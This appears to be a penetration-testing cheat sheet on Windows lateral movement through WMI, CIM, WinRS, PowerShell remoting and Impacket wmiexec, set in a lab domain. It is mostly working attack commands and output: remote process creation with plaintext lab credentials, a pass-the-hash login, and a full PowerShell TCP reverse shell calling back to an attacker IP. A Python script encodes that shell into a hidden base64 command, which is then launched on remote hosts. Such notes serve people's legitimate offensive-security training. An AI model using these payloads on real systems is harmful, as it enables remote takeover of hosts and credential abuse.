WMI and WinRM

WMI

wmic (deprecated)

C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 752;
        ReturnValue = 0;
};

Common Information Model (CIM)

Common Information Model - Win32 appsMicrosoftLearn

We can create a CIMSession with a base64 encoded reverse shell that connects back to our listener.

PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

PS C:\Users\jeff> $Options = New-CimSessionOption -Protocol DCOM
PS C:\Users\jeff> $Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options

PS C:\Users\jeff> $Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';

PS C:\Users\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

ProcessId ReturnValue PSComputerName
--------- ----------- --------------
     3948           0 192.168.50.73

Base64 Encode Python Script:

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

WinRM

WinRS

C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123!  "cmd /c hostname & whoami"
FILES04
corp\jen

Reverse Shell:

C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123!  "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

PowerShell Remoting

Powershell has built in WinRM capabilities called "Powershell remoting"

PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

PS C:\Users\jeff> New-PSSession -ComputerName 192.168.50.73 -Credential $credential

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          192.168.50.73   RemoteMachine   Opened        Microsoft.PowerShell     Available

Interact with the PS-Session

To interact with the PS-Session we can enter the following commands:

PS C:\Users\jeff> Enter-PSSession 1
[192.168.50.73]: PS C:\Users\jen\Documents> whoami
corp\jen

[192.168.50.73]: PS C:\Users\jen\Documents> hostname
FILES04

Impacket WMIExec

kali@kali$ proxychains -q impacket-wmiexec -hashes :f0397ec5af49971f6efbdb07877046b3 beccy@172.16.6.240
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 172.16.6.240.....
[*] Found writable share ADMIN$
[*] Uploading file CGOrpfCz.exe
[*] Opening SVCManager on 172.16.6.240.....
[*] Creating service tahE on 172.16.6.240.....
[*] Starting service tahE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.1006]
(c) Microsoft Corporation. All rights reserved.

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